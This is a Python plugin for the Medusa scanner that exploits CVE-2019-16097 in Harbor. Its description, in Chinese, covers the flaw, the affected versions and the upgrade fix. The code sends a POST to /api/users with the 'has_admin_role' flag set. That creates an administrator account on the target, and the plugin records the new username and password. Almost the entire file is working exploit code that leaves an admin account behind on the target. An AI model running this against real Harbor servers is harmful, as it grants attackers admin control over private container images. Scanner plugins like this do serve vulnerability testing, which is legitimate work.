#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__ = 'Ascotbe'
import requests
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,randoms
import json
requests.packages.urllib3.disable_warnings()
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2019-16097" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-2-19"  # 插件编辑时间
        self.info['disclosure'] = '2019-9-19'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "HarborAnyAdministratorRegistrationVulnerability"  # 插件名称
        self.info['name'] ='Harbor任意管理员注册漏洞' #漏洞名称
        self.info['affects'] = "Harbor"  # 漏洞组件
        self.info['desc_content'] = "版本中的core/api/user.go文件存在安全漏洞。若开放注册功能，攻击者可利用该漏洞创建admin账户。注册功能默认开放。攻击者可以以管理员身份下载私有项目并审计；可以删除或污染所有镜像。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "Harbor1.7.6之前版本\r\nHarbor1.8.3之前版本"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新Harbor版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(Url, RandomAgent, ProxyIp=None):
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload = '/api/users'
        payload_url = scheme + "://" + url + ":" + str(port) + payload

        headers = {
            'User-Agent': RandomAgent,
            'Accept': 'application/json',
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/json",
        }
        rm = "MedusaTextPoc"+randoms().result(5)  # 获取随机数
        data= {
            "username": rm,
            "email": rm+"@qq.com",
            "realname": rm,
            "password": rm,
            "comment": rm,
            "has_admin_role": True
        }

        data = json.dumps(data)
        resp = requests.post(payload_url,data=data,headers=headers, timeout=6, verify=False)
        head = resp.headers.get("Location")
        code = resp.status_code
        if code == 201 and head.find("/api/users/")!=-1:
            Medusa = "{}存在Harbor任意管理员注册漏洞\r\n 验证数据:\r\n漏洞位置:{}\r\n账号:{}\r\n密码:{}\r\n注册账号数量:{}\r\n".format(url,
                                                                                                          payload_url,
                                                                                                          rm,rm,head)
            _t = VulnerabilityInfo(Medusa)
            web = VulnerabilityDetails(_t.info)
            web.High()  # serious表示严重，High表示高危，Intermediate表示中危，Low表示低危
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception:
        _ = VulnerabilityInfo('').info.get('algroup')
        _l = ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名


